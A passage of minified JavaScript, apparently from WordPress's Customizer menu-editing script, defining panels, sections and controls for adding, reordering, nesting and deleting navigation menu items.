t;(e=e||this.selected)&&this.currentMenuControl&&(this.select(e),t=m(this.selected).data("menu-item-id"),t=this.collection.findWhere({id:t}))&&(this.currentMenuControl.addItemToMenu(t.attributes),m(e).find(".menu-item-handle").addClass("item-added"))},_submitLink:function(e){"keypress"===e.type&&13!==e.which||this.submitLink()},submitLink:function(){var e,t=m("#custom-menu-item-name"),n=m("#custom-menu-item-url"),i=n.val().trim();this.currentMenuControl&&(e=/^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/,""===t.val()?t.addClass("invalid"):e.test(i)?(e={title:t.val(),url:i,type:"custom",type_label:c.Menus.data.l10n.custom_label,object:"custom"},this.currentMenuControl.addItemToMenu(e),n.val("").attr("placeholder","https://"),t.val("")):n.addClass("invalid"))},_submitNew:function(e){"keypress"===e.type&&13!==e.which||this.addingNew||(e=m(e.target).closest(".accordion-section"),this.submitNew(e))},submitNew:function(n){var i=this,a=n.find(".create-item-input"),e=a.val(),t=n.find(".available-menu-items-list"),o=t.data("type"),s=t.data("object"),r=t.data("type_label");this.currentMenuControl&&"post_type"===o&&(""===a.val().trim()?(a.addClass("invalid"),a.focus()):(a.removeClass("invalid"),n.find(".accordion-section-title").addClass("loading"),i.addingNew=!0,a.attr("disabled","disabled"),c.Menus.insertAutoDraftPost({post_title:e,post_type:s}).done(function(e){var t,e=new c.Menus.AvailableItemModel({id:"post-"+e.post_id,title:a.val(),type:o,type_label:r,object:s,object_id:e.post_id,url:e.url});i.currentMenuControl.addItemToMenu(e.attributes),c.Menus.availableMenuItemsPanel.collection.add(e),t=n.find(".available-menu-items-list"),(e=m(l.template("available-menu-item")(e.attributes))).find(".menu-item-handle:first").addClass("item-added"),t.prepend(e),t.scrollTop(),a.val("").removeAttr("disabled"),i.addingNew=!1,n.find(".accordion-section-title").removeClass("loading")})))},open:function(e){var t,n=this;this.currentMenuControl=e,this.itemSectionHeight(),c.section.has("publish_settings")&&c.section("publish_settings").collapse(),m("body").addClass("adding-menu-items"),t=function(){n.close(),m(this).off("click",t)},m("#customize-preview").on("click",t),_(this.currentMenuControl.getMenuItemControls()).each(function(e){e.collapseForm()}),this.$el.find(".selected").removeClass("selected"),this.$search.trigger("focus")},close:function(e){(e=e||{}).returnFocus&&this.currentMenuControl&&this.currentMenuControl.container.find(".add-new-menu-item").focus(),this.currentMenuControl=null,this.selected=null,m("body").removeClass("adding-menu-items"),m("#available-menu-items .menu-item-handle.item-added").removeClass("item-added"),this.$search.val("").trigger("input")},keyboardAccessible:function(e){var t=13===e.which,n=27===e.which,i=9===e.which&&e.shiftKey,a=m(e.target).is(this.$search);t&&!this.$search.val()||(a&&i?(this.currentMenuControl.container.find(".add-new-menu-item").focus(),e.preventDefault()):n&&this.close({returnFocus:!0}))}}),c.Menus.MenusPanel=c.Panel.extend({attachEvents:function(){c.Panel.prototype.attachEvents.call(this);var t=this.container.find(".panel-meta"),n=t.find(".customize-help-toggle"),i=t.find(".customize-panel-description"),a=m("#screen-options-wrap"),o=t.find(".customize-screen-options-toggle");o.on("click keydown",function(e){if(!c.utils.isKeydownButNotEnterEvent(e))return e.preventDefault(),i.not(":hidden")&&(i.slideUp("fast"),n.attr("aria-expanded","false")),"true"===o.attr("aria-expanded")?(o.attr("aria-expanded","false"),t.removeClass("open"),t.removeClass("active-menu-screen-options"),a.slideUp("fast")):(o.attr("aria-expanded","true"),t.addClass("open"),t.addClass("active-menu-screen-options"),a.slideDown("fast")),!1}),n.on("click keydown",function(e){c.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),"true"===o.attr("aria-expanded")&&(o.attr("aria-expanded","false"),n.attr("aria-expanded","true"),t.addClass("open"),t.removeClass("active-menu-screen-options"),a.slideUp("fast"),i.slideDown("fast")))})},ready:function(){var e=this;e.container.find(".hide-column-tog").on("click",function(){e.saveManageColumnsState()}),c.section("menu_locations",function(e){e.headContainer.prepend(l.template("nav-menu-locations-header")(c.Menus.data))})},saveManageColumnsState:_.debounce(function(){var e=this;e._updateHiddenColumnsRequest&&e._updateHiddenColumnsRequest.abort(),e._updateHiddenColumnsRequest=l.ajax.post("hidden-columns",{hidden:e.hidden(),screenoptionnonce:m("#screenoptionnonce").val(),page:"nav-menus"}),e._updateHiddenColumnsRequest.always(function(){e._updateHiddenColumnsRequest=null})},2e3),checked:function(){},unchecked:function(){},hidden:function(){return m(".hide-column-tog").not(":checked").map(function(){var e=this.id;return e.substring(0,e.length-5)}).get().join(",")}}),c.Menus.MenuSection=c.Section.extend({initialize:function(e,t){c.Section.prototype.initialize.call(this,e,t),this.deferred.initSortables=m.Deferred()},ready:function(){var e,t,n=this;if(void 0===n.params.menu_id)throw new Error("params.menu_id was not defined");n.active.validate=function(){return!!c.has(n.id)&&!!c(n.id).get()},n.populateControls(),n.navMenuLocationSettings={},n.assignedLocations=new c.Value([]),c.each(function(e,t){t=t.match(/^nav_menu_locations\[(.+?)]/);t&&(n.navMenuLocationSettings[t[1]]=e).bind(function(){n.refreshAssignedLocations()})}),n.assignedLocations.bind(function(e){n.updateAssignedLocationsInSectionTitle(e)}),n.refreshAssignedLocations(),c.bind("pane-contents-reflowed",function(){n.contentContainer.parent().length&&(n.container.find(".menu-item .menu-item-reorder-nav button").attr({tabindex:"0","aria-hidden":"false"}),n.container.find(".menu-item.move-up-disabled .menus-move-up").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-down-disabled .menus-move-down").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-left-disabled .menus-move-left").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-right-disabled .menus-move-right").attr({tabindex:"-1","aria-hidden":"true"}))}),t=function(){var e="field-"+m(this).val()+"-active";n.contentContainer.toggleClass(e,m(this).prop("checked"))},(e=c.panel("nav_menus").contentContainer.find(".metabox-prefs:first").find(".hide-column-tog")).each(t),e.on("click",t)},populateControls:function(){var e,t=this,n=t.id+"[name]",i=c.control(n);i||(i=new c.controlConstructor.nav_menu_name(n,{type:"nav_menu_name",label:c.Menus.data.l10n.menuNameLabel,section:t.id,priority:0,settings:{default:t.id}}),c.control.add(i),i.active.set(!0)),(n=c.control(t.id))||(n=new c.controlConstructor.nav_menu(t.id,{type:"nav_menu",section:t.id,priority:998,settings:{default:t.id},menu_id:t.params.menu_id}),c.control.add(n),n.active.set(!0)),i=t.id+"[locations]",c.control(i)||(i=new c.controlConstructor.nav_menu_locations(i,{section:t.id,priority:999,settings:{default:t.id},menu_id:t.params.menu_id}),c.control.add(i.id,i),n.active.set(!0)),i=t.id+"[auto_add]",(n=c.control(i))||(n=new c.controlConstructor.nav_menu_auto_add(i,{type:"nav_menu_auto_add",label:"",section:t.id,priority:1e3,settings:{default:t.id}}),c.control.add(n),n.active.set(!0)),i=t.id+"[delete]",(e=c.control(i))||(e=new c.Control(i,{section:t.id,priority:1001,templateId:"nav-menu-delete-button"}),c.control.add(e.id,e),e.active.set(!0),e.deferred.embedded.done(function(){e.container.find("button").on("click",function(){var e=t.params.menu_id;c.Menus.getMenuControl(e).setting.set(!1)})}))},refreshAssignedLocations:function(){var n=this.params.menu_id,i=[];_.each(this.navMenuLocationSettings,function(e,t){e()===n&&i.push(t)}),this.assignedLocations.set(i)},updateAssignedLocationsInSectionTitle:function(e){var n=this.container.find(".accordion-section-title:first");n.find(".menu-in-location").remove(),_.each(e,function(e){var t=m('<span class="menu-in-location"></span>'),e=c.Menus.data.locationSlugMappedToName[e];t.text(c.Menus.data.l10n.menuLocation.replace("%s",e)),n.append(t)}),this.container.toggleClass("assigned-to-menu-location",0!==e.length)},onChangeExpanded:function(e,t){var n,i=this;e&&(wpNavMenu.menuList=i.contentContainer,wpNavMenu.targetList=wpNavMenu.menuList,m("#menu-to-edit").removeAttr("id"),wpNavMenu.menuList.attr("id","menu-to-edit").addClass("menu"),_.each(c.section(i.id).controls(),function(e){"nav_menu_item"===e.params.type&&e.actuallyEmbed()}),t.completeCallback&&(n=t.completeCallback),t.completeCallback=function(){"resolved"!==i.deferred.initSortables.state()&&(wpNavMenu.initSortables(),i.deferred.initSortables.resolve(wpNavMenu.menuList),c.control("nav_menu["+String(i.params.menu_id)+"]").reflowMenuItems()),_.isFunction(n)&&n()}),c.Section.prototype.onChangeExpanded.call(i,e,t)},highlightNewItemButton:function(){c.utils.highlightButton(this.contentContainer.find(".add-new-menu-item"),{delay:2e3})}}),c.Menus.createNavMenu=function(e){var t=c.Menus.generatePlaceholderAutoIncrementId(),n="nav_menu["+String(t)+"]";return c.create(n,n,{},{type:"nav_menu",transport:c.Menus.data.settingTransport,previewer:c.previewer}).set(m.extend({},c.Menus.data.defaultSettingValues.nav_menu,{name:e||""})),c.section.add(new c.Menus.MenuSection(n,{panel:"nav_menus",title:u(e),customizeAction:c.Menus.data.l10n.customizingMenus,priority:10,menu_id:t}))},c.Menus.NewMenuSection=c.Section.extend({attachEvents:function(){var t=this,e=t.container,n=t.contentContainer,i=/^nav_menu\[/;function a(){var t;e.find(".add-new-menu-notice").prop("hidden",(t=0,c.each(function(e){i.test(e.id)&&!1!==e.get()&&(t+=1)}),0<t))}function o(e){i.test(e.id)&&(e.bind(a),a())}t.headContainer.find(".accordion-section-title").replaceWith(l.template("nav-menu-create-menu-section-title")),e.on("click",".customize-add-menu-button",function(){t.expand()}),n.on("keydown",".menu-name-field",function(e){13===e.which&&t.submit()}),n.on("click","#customize-new-menu-submit",function(e){t.submit(),e.stopPropagation(),e.preventDefault()}),c.each(o),c.bind("add",o),c.bind("removed",function(e){i.test(e.id)&&(e.unbind(a),a())}),a(),c.Section.prototype.attachEvents.apply(t,arguments)},ready:function(){this.populateControls()},populateControls:function(){var e=this,t=e.id+"[name]",n=c.control(t);n||(n=new c.controlConstructor.nav_menu_name(t,{label:c.Menus.data.l10n.menuNameLabel,description:c.Menus.data.l10n.newMenuNameDescription,section:e.id,priority:0}),c.control.add(n.id,n),n.active.set(!0)),t=e.id+"[locations]",(n=c.control(t))||(n=new c.controlConstructor.nav_menu_locations(t,{section:e.id,priority:1,menu_id:"",isCreating:!0}),c.control.add(t,n),n.active.set(!0)),t=e.id+"[submit]",(n=c.control(t))||(n=new c.Control(t,{section:e.id,priority:1,templateId:"nav-menu-submit-new-button"}),c.control.add(t,n),n.active.set(!0))},submit:function(){var t,e=this.contentContainer,n=e.find(".menu-name-field").first(),i=n.val();i?(t=c.Menus.createNavMenu(i),n.val(""),n.removeClass("invalid"),e.find(".assigned-menu-location input[type=checkbox]").each(function(){var e=m(this);e.prop("checked")&&(c("nav_menu_locations["+e.data("location-id")+"]").set(t.params.menu_id),e.prop("checked",!1))}),l.a11y.speak(c.Menus.data.l10n.menuAdded),t.focus({completeCallback:function(){t.highlightNewItemButton()}})):(n.addClass("invalid"),n.focus())},selectDefaultLocation:function(e){var t=c.control(this.id+"[locations]"),n={};null!==e&&(n[e]=!0),t.setSelections(n)}}),c.Menus.MenuLocationControl=c.Control.extend({initialize:function(e,t){var n=e.match(/^nav_menu_locations\[(.+?)]/);this.themeLocation=n[1],c.Control.prototype.initialize.call(this,e,t)},ready:function(){var n=this,i=/^nav_menu\[(-?\d+)]/;n.setting.validate=function(e){return""===e?0:parseInt(e,10)},n.container.find(".create-menu").on("click",function(){var e=c.section("add_menu");e.selectDefaultLocation(this.dataset.locationId),e.focus()}),n.container.find(".edit-menu").on("click",function(){var e=n.setting();c.section("nav_menu["+e+"]").focus()}),n.setting.bind("change",function(){var e=0!==n.setting();n.container.find(".create-menu").toggleClass("hidden",e),n.container.find(".edit-menu").toggleClass("hidden",!e)}),c.bind("add",function(e){var t=e.id.match(i);t&&!1!==e()&&(t=t[1],e=new Option(u(e().name),t),n.container.find("select").append(e))}),c.bind("remove",function(e){var e=e.id.match(i);e&&(e=parseInt(e[1],10),n.setting()===e&&n.setting.set(""),n.container.find("option[value="+e+"]").remove())}),c.bind("change",function(e){var t=e.id.match(i);t&&(t=parseInt(t[1],10),!1===e()?(n.setting()===t&&n.setting.set(""),n.container.find("option[value="+t+"]").remove()):n.container.find("option[value="+t+"]").text(u(e().name)))})}}),c.Menus.MenuItemControl=c.Control.extend({initialize:function(e,t){var n=this;n.expanded=new c.Value(!1),n.expandedArgumentsQueue=[],n.expanded.bind(function(e){var t=n.expandedArgumentsQueue.shift(),t=m.extend({},n.defaultExpandedArguments,t);n.onChangeExpanded(e,t)}),c.Control.prototype.initialize.call(n,e,t),n.active.validate=function(){var e=c.section(n.section()),e=!!e&&e.active();return e}},embed:function(){var e=this.section();e&&((e=c.section(e))&&e.expanded()||c.settings.autofocus.control===this.id)&&this.actuallyEmbed()},actuallyEmbed:function(){"resolved"!==this.deferred.embedded.state()&&(this.renderContent(),this.deferred.embedded.resolve())},ready:function(){if(void 0===this.params.menu_item_id)throw new Error("params.menu_item_id was not defined");this._setupControlToggle(),this._setupReorderUI(),this._setupUpdateUI(),this._setupRemoveUI(),this._setupLinksUI(),this._setupTitleUI()},_setupControlToggle:function(){var i=this;this.container.find(".menu-item-handle").on("click",function(e){e.preventDefault(),e.stopPropagation();var t=i.getMenuControl(),n=m(e.target).is(".item-delete, .item-delete *"),e=m(e.target).is(".add-new-menu-item, .add-new-menu-item *");!m("body").hasClass("adding-menu-items")||n||e||c.Menus.availableMenuItemsPanel.close(),t.isReordering||t.isSorting||i.toggleForm()})},_setupReorderUI:function(){var o=this,e=l.template("menu-item-reorder-nav");o.container.find(".item-controls").after(e),o.container.find(".menu-item-reorder-nav").find(".menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right").on("click",function(){var e=m(this),t=(o.params.depth=o.getDepth(),e.focus(),e.is(".menus-move-up")),n=e.is(".menus-move-down"),i=e.is(".menus-move-left"),a=e.is(".menus-move-right");t?o.moveUp():n?o.moveDown():i?(o.moveLeft(),1===o.params.depth?o.container.find(".is-submenu").hide():o.container.find(".is-submenu").show()):a&&(o.moveRight(),o.params.depth+=1,0===o.params.depth?o.container.find(".is-submenu").hide():o.container.find(".is-submenu").show()),e.focus()})},_setupUpdateUI:function(){var e,s=this,t=s.setting();s.elements={},s.elements.url=new c.Element(s.container.find(".edit-menu-item-url")),s.elements.title=new c.Element(s.container.find(".edit-menu-item-title")),s.elements.attr_title=new c.Element(s.container.find(".edit-menu-item-attr-title")),s.elements.target=new c.Element(s.container.find(".edit-menu-item-target")),s.elements.classes=new c.Element(s.container.find(".edit-menu-item-classes")),s.elements.xfn=new c.Element(s.container.find(".edit-menu-item-xfn")),s.elements.description=new c.Element(s.container.find(".edit-menu-item-description")),_.each(s.elements,function(n,i){n.bind(function(e){n.element.is("input[type=checkbox]")&&(e=e?n.element.val():"");var t=s.setting();t&&t[i]!==e&&((t=_.clone(t))[i]=e,s.setting.set(t))}),t&&("classes"!==i&&"xfn"!==i||!_.isArray(t[i])?n.set(t[i]):n.set(t[i].join(" ")))}),s.setting.bind(function(n,i){var e,t=s.params.menu_item_id,a=[],o=[];!1===n?(e=c.control("nav_menu["+String(i.nav_menu_term_id)+"]"),s.container.remove(),_.each(e.getMenuItemControls(),function(e){i.menu_item_parent===e.setting().menu_item_parent&&e.setting().position>i.position?a.push(e):e.setting().menu_item_parent===t&&o.push(e)}),_.each(a,function(e){var t=_.clone(e.setting());t.position+=o.length,e.setting.set(t)}),_.each(o,function(e,t){var n=_.clone(e.setting());n.position=i.position+t,n.menu_item_parent=i.menu_item_parent,e.setting.set(n)}),e.debouncedReflowMenuItems()):(_.each(n,function(e,t){s.elements[t]&&s.elements[t].set(n[t])}),s.container.find(".menu-item-data-parent-id").val(n.menu_item_parent),n.position===i.position&&n.menu_item_parent===i.menu_item_parent||s.getMenuControl().debouncedReflowMenuItems())}),s.setting.notifications.bind("add",e=function(){s.elements.url.element.toggleClass("invalid",s.setting.notifications.has("invalid_url"))}),s.setting.notifications.bind("removed",e)},_setupRemoveUI:function(){var r=this;r.container.find(".item-delete").on("click",function(){var e,t,n,i=!0,a=0,o=r.params.original_item_id,s=r.getMenuControl().$sectionContent.find(".menu-item");m("body").hasClass("adding-menu-items")||(i=!1),n=r.container.nextAll(".customize-control-nav_menu_item:visible").first(),t=r.container.prevAll(".customize-control-nav_menu_item:visible").first(),e=(n.length?n.find(!1===i?".item-edit":".item-delete"):t.length?t.find(!1===i?".item-edit":".item-delete"):r.container.nextAll(".customize-control-nav_menu").find(".add-new-menu-item")).first(),_.each(s,function(e){m(e).is(":visible")&&(e=e.getAttribute("id").match(/^customize-control-nav_menu_item-(-?\d+)$/,""))&&(e=parseInt(e[1],10),e=c.control("nav_menu_item["+String(e)+"]"))&&o==e.params.original_item_id&&a++}),a<=1&&((n=m("#menu-item-tpl-"+r.params.original_item_id)).removeClass("selected"),n.find(".menu-item-handle").removeClass("item-added")),r.container.slideUp(function(){r.setting.set(!1),l.a11y.speak(c.Menus.data.l10n.itemDeleted),e.focus()}),r.setting.set(!1)})},_setupLinksUI:function(){this.container.find("a.original-link").on("click",function(e){e.preventDefault(),c.previewer.previewUrl(e.target.toString())})},_setupTitleUI:function(){var i;this.container.find(".edit-menu-item-title").on("blur",function(){m(this).val(m(this).val().trim())}),i=this.container.find(".menu-item-title"),this.setting.bind(function(e){var t,n;e&&(e.title=e.title||"",n=(t=e.title.trim())||e.original_title||c.Menus.data.l10n.untitled,e._invalid&&(n=c.Menus.data.l10n.invalidTitleTpl.replace("%s",n)),t||e.original_title?i.text(n).removeClass("no-title"):i.text(n).addClass("no-title"))})},getDepth:function(){var e=this,t=e.setting(),n=0;if(!t)return 0;for(;t&&t.menu_item_parent&&(n+=1,e=c.control("nav_menu_item["+t.menu_item_parent+"]"));)t=e.setting();return n},renderContent:function(){var e,t=this,n=t.setting();t.params.title=n.title||"",t.params.depth=t.getDepth(),t.container.data("item-depth",t.params.depth),e=["menu-item","menu-item-depth-"+String(t.params.depth),"menu-item-"+n.object,"menu-item-edit-inactive"],n._invalid?(e.push("menu-item-invalid"),t.params.title=c.Menus.data.l10n.invalidTitleTpl.replace("%s",t.params.title)):"draft"===n.status&&(e.push("pending"),t.params.title=c.Menus.data.pendingTitleTpl.replace("%s",t.params.title)),t.params.el_classes=e.join(" "),t.params.item_type_label=n.type_label,t.params.item_type=n.type,t.params.url=n.url,t.params.target=n.target,t.params.attr_title=n.attr_title,t.params.classes=_.isArray(n.classes)?n.classes.join(" "):n.classes,t.params.xfn=n.xfn,t.params.description=n.description,t.params.parent=n.menu_item_parent,t.params.original_title=n.original_title||"",t.container.addClass(t.params.el_classes),c.Control.prototype.renderContent.call(t)},getMenuControl:function(){var e=this.setting();return e&&e.nav_menu_term_id?c.control("nav_menu["+e.nav_menu_term_id+"]"):null},expandControlSection:function(){var e=this.container.closest(".accordion-section");e.hasClass("open")||e.find(".accordion-section-title:first").trigger("click")},_toggleExpanded:c.Section.prototype._toggleExpanded,expand:c.Section.prototype.expand,expandForm:function(e){this.expand(e)},collapse:c.Section.prototype.collapse,collapseForm:function(e){this.collapse(e)},toggleForm:function(e,t){(e=void 0===e?!this.expanded():e)?this.expand(t):this.collapse(t)},onChangeExpanded:function(e,t){var n,i=this,a=this.container,o=a.find(".menu-item-settings:first");void 0===e&&(e=!o.is(":visible")),o.is(":visible")===e?t&&t.completeCallback&&t.completeCallback():e?(c.control.each(function(e){i.params.type===e.params.type&&i!==e&&e.collapseForm()}),n=function(){a.removeClass("menu-item-edit-inactive").addClass("menu-item-edit-active"),i.container.trigger("expanded"),t&&t.completeCallback&&t.completeCallback()},a.find(".item-edit").attr("aria-expanded","true"),o.slideDown("fast",n),i.container.trigger("expand")):(n=function(){a.addClass("menu-item-edit-inactive").removeClass("menu-item-edit-active"),i.container.trigger("collapsed"),t&&t.completeCallback&&t.completeCallback()},i.container.trigger("collapse"),a.find(".item-edit").attr("aria-expanded","false"),o.slideUp("fast",n))},focus:function(e){var t=this,n=(e=e||{}).completeCallback,i=function(){t.expandControlSection(),e.completeCallback=function(){t.container.find(".menu-item-settings").find("input, select, textarea, button, object, a[href], [tabindex]").filter(":visible").first().focus(),n&&n()},t.expandForm(e)};c.section.has(t.section())?c.section(t.section()).expand({completeCallback:i}):i()},moveUp:function(){this._changePosition(-1),l.a11y.speak(c.Menus.data.l10n.movedUp)},moveDown:function(){this._changePosition(1),l.a11y.speak(c.Menus.data.l10n.movedDown)},moveLeft:function(){this._changeDepth(-1),l.a11y.speak(c.Menus.data.l10n.movedLeft)},moveRight:function(){this._changeDepth(1),l.a11y.speak(c.Menus.data.l10n.movedRight)},_changePosition:function(e){var t,n=this,i=_.clone(n.setting()),a=[];if(1!==e&&-1!==e)throw new Error("Offset changes by 1 are only supported.");if(n.setting()){if(_(n.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===i.menu_item_parent&&a.push(e.setting)}),a.sort(function(e,t){return e().position-t().position}),-1===(t=_.indexOf(a,n.setting)))throw new Error("Expected setting to be among siblings.");0===t&&e<0||t===a.length-1&&0<e||((t=a[t+e])&&t.set(m.extend(_.clone(t()),{position:i.position})),i.position+=e,n.setting.set(i))}},_changeDepth:function(e){if(1!==e&&-1!==e)throw new Error("Offset changes by 1 are only supported.");var t,n,i=this,a=_.clone(i.setting()),o=[];if(_(i.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===a.menu_item_parent&&o.push(e)}),o.sort(function(e,t){return e.setting().position-t.setting().position}),-1===(t=_.indexOf(o,i)))throw new Error("Expected control to be among siblings.");-1===e?a.menu_item_parent&&(n=c.control("nav_menu_item["+a.menu_item_parent+"]"),_(o).chain().slice(t).each(function(e,t){e.setting.set(m.extend({},e.setting(),{menu_item_parent:i.params.menu_item_id,position:t}))}),_(i.getMenuControl().getMenuItemControls()).each(function(e){var t;e.setting().menu_item_parent===n.setting().menu_item_parent&&e.setting().position>n.setting().position&&(t=_.clone(e.setting()),e.setting.set(m.extend(t,{position:t.position+1})))}),a.position=n.setting().position+1,a.menu_item_parent=n.setting().menu_item_parent,i.setting.set(a)):1===e&&0!==t&&(a.menu_item_parent=o[t-1].params.menu_item_id,a.position=0,_(i.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===a.menu_item_parent&&(a.position=Math.max(a.position,e.setting().position))}),a.position+=1,i.setting.set(a))}}),c.Menus.MenuNameControl=c.Control.extend({ready:function(){var e,n=this;n.setting&&(e=n.setting(),n.nameElement=new c.Element(n.container.find(".menu-name-field")),n.nameElement.bind(function(e){var t=n.setting();t&&t.name!==e&&((t=_.clone(t)).name=e,n.setting.set(t))}),e&&n.nameElement.set(e.name),n.setting.bind(function(e){e&&n.nameElement.set(e.name)}))}}),c.Menus.MenuLocationsControl=c.Control.extend({ready:function(){var d=this;d.container.find(".assigned-menu-location").each(function(){function t(e){var t=c("nav_menu["+String(e)+"]");e&&t&&t()?n.find(".theme-location-set").show().find("span").text(u(t().name)):n.find(".theme-location-set").hide()}var n=m(this),e=n.find("input[type=checkbox]"),i=new c.Element(e),a=c("nav_menu_locations["+e.data("location-id")+"]"),o=""===d.params.menu_id,s=o?_.noop:function(e){i.set(e)},r=o?_.noop:function(e){a.set(e?d.params.menu_id:0)};s(a.get()===d.params.menu_id),e.on("change",function(){r(this.checked)}),a.bind(function(e){s(e===d.params.menu_id),t(e)}),t(a.get())})},setSelections:function(i){this.container.find(".menu-location").each(function(e,t){var n=t.dataset.locationId;t.checked=n in i&&i[n]})}}),c.Menus.MenuAutoAddControl=c.Control.extend({ready:function(){var n=this,e=n.setting();n.active.validate=function(){var e=c.section(n.section()),e=!!e&&e.active();return e},n.autoAddElement=new c.Element(n.container.find("input[type=checkbox].auto_add")),n.autoAddElement.bind(function(e){var t=n.setting();t&&t.name!==e&&((t=_.clone(t)).auto_add=e,n.setting.set(t))}),e&&n.autoAddElement.set(e.auto_add),n.setting.bind(function(e){e&&n.autoAddElement.set(e.auto_add)})}}),c.Menus.MenuControl=c.Control.extend({ready:function(){var t,n,i=this,a=c.section(i.section()),o=i.params.menu_id,e=i.setting();if(void 0===this.params.menu_id)throw new Error("params.menu_id was not defined");i.active.validate=function(){var e=!!a&&a.active();return e},i.$controlSection=a.headContainer,i.$sectionContent=i.container.closest(".accordion-section-content"),this._setupModel(),c.section(i.section(),function(e){e.deferred.initSortables.done(function(e){i._setupSortable(e)})}),this._setupAddition(),this._setupTitle(),e&&(t=u(e.name),c.control.each(function(e){e.extended(c.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&(e.container.find(".nav-menu-widget-form-controls:first").show(),e.container.find(".nav-menu-widget-no-menus-message:first").hide(),0===(n=e.container.find("select")).find("option[value="+String(o)+"]").length)&&n.append(new Option(t,o))}),(e=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").show(),e.find(".nav-menu-widget-no-menus-message:first").hide(),0===(n=e.find(".widget-inside select:first")).find("option[value="+String(o)+"]").length)&&n.append(new Option(t,o)),_.defer(function(){i.updateInvitationVisibility()})},_setupModel:function(){var n=this,i=n.params.menu_id;n.setting.bind(function(e){var t;!1===e?n._handleDeletion():(t=u(e.name),c.control.each(function(e){e.extended(c.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&e.container.find("select").find("option[value="+String(i)+"]").text(t)}))})},_setupSortable:function(e){var a=this;if(!e.is(a.$sectionContent))throw new Error("Unexpected menuList.");e.on("sortstart",function(){a.isSorting=!0}),e.on("sortstop",function(){setTimeout(function(){var e=a.$sectionContent.sortable("toArray"),t=[],n=0,i=10;a.isSorting=!1,a.$sectionContent.scrollLeft(0),_.each(e,function(e){var e=e.match(/^customize-control-nav_menu_item-(-?\d+)$/,"");e&&(e=parseInt(e[1],10),e=c.control("nav_menu_item["+String(e)+"]"))&&t.push(e)}),_.each(t,function(e){var t;!1!==e.setting()&&(t=_.clone(e.setting()),n+=1,i+=1,t.position=n,e.priority(i),t.menu_item_parent=parseInt(e.container.find(".menu-item-data-parent-id").val(),10),t.menu_item_parent||(t.menu_item_parent=0),e.setting.set(t))})})}),a.isReordering=!1,this.container.find(".reorder-toggle").on("click",function(){a.toggleReordering(!a.isReordering)})},_setupAddition:function(){var t=this;this.container.find(".add-new-menu-item").on("click",function(e){t.$sectionContent.hasClass("reordering")||(m("body").hasClass("adding-menu-items")?(m(this).attr("aria-expanded","false"),c.Menus.availableMenuItemsPanel.close(),e.stopPropagation()):(m(this).attr("aria-expanded","true"),c.Menus.availableMenuItemsPanel.open(t)))})},_handleDeletion:function(){var e,n=this.params.menu_id,i=0,t=c.section(this.section()),a=function(){t.container.remove(),c.section.remove(t.id)};t&&t.expanded()?t.collapse({completeCallback:function(){a(),l.a11y.speak(c.Menus.data.l10n.menuDeleted),c.panel("nav_menus").focus()}}):a(),c.each(function(e){/^nav_menu\[/.test(e.id)&&!1!==e()&&(i+=1)}),c.control.each(function(e){var t;e.extended(c.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&((t=e.container.find("select")).val()===String(n)&&t.prop("selectedIndex",0).trigger("change"),e.container.find(".nav-menu-widget-form-controls:first").toggle(0!==i),e.container.find(".nav-menu-widget-no-menus-message:first").toggle(0===i),e.container.find("option[value="+String(n)+"]").remove())}),(e=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").toggle(0!==i),e.find(".nav-menu-widget-no-menus-message:first").toggle(0===i),e.find("option[value="+String(n)+"]").remove()},_setupTitle:function(){var d=this;d.setting.bind(function(e){var t,n,i,a,o,s,r;e&&(t=c.section(d.section()),n=d.params.menu_id,i=t.headContainer.find(".accordion-section-title"),a=t.contentContainer.find(".customize-section-title h3"),o=t.headContainer.find(".menu-in-location"),s=a.find(".customize-action"),r=u(e.name),i.text(r),o.length&&o.appendTo(i),a.text(r),s.length&&s.prependTo(a),c.control.each(function(e){/^nav_menu_locations\[/.test(e.id)&&e.container.find("option[value="+n+"]").text(r)}),t.contentContainer.find(".customize-control-checkbox input").each(function(){m(this).prop("checked")&&m(".current-menu-location-name-"+m(this).data("location-id")).text(r)}))})},toggleReordering:function(e){var t=this.container.find(".add-new-menu-item"),n=this.container.find(".reorder-toggle"),i=this.$sectionContent.find(".item-title");(e=Boolean(e))!==this.$sectionContent.hasClass("reordering")&&(this.isReordering=e,this.$sectionContent.toggleClass("reordering",e),this.$sectionContent.sortable(this.isReordering?"disable":"enable"),this.isReordering?(t.attr({tabindex:"-1","aria-hidden":"true"}),n.attr("aria-label",c.Menus.data.l10n.reorderLabelOff),l.a11y.speak(c.Menus.data.l10n.reorderModeOn),i.attr("aria-hidden","false")):(t.removeAttr("tabindex aria-hidden"),n.attr("aria-label",c.Menus.data.l10n.reorderLabelOn),l.a11y.speak(c.Menus.data.l10n.reorderModeOff),i.attr("aria-hidden","true")),e)&&_(this.getMenuItemControls()).each(function(e){e.collapseForm()})},getMenuItemControls:function(){var t=[],n=this.params.menu_id;return c.control.each(function(e){"nav_menu_item"===e.params.type&&e.setting()&&n===e.setting().nav_menu_term_id&&t.push(e)}),t},reflowMenuItems:function(){var e=this.getMenuItemControls(),a=function(n){var t=[],i=n.currentParent;_.each(n.menuItemControls,function(e){i===e.setting().menu_item_parent&&t.push(e)}),t.sort(function(e,t){return e.setting().position-t.setting().position}),_.each(t,function(t){n.currentAbsolutePosition+=1,t.priority.set(n.currentAbsolutePosition),t.container.hasClass("menu-item-depth-"+String(n.currentDepth))||(_.each(t.container.prop("className").match(/menu-item-depth-\d+/g),function(e){t.container.removeClass(e)}),t.container.addClass("menu-item-depth-"+String(n.currentDepth))),t.container.data("item-depth",n.currentDepth),n.currentDepth+=1,n.currentParent=t.params.menu_item_id,a(n),--n.currentDepth,n.currentParent=i}),t.length&&(_(t).each(function(e){e.container.removeClass("move-up-disabled 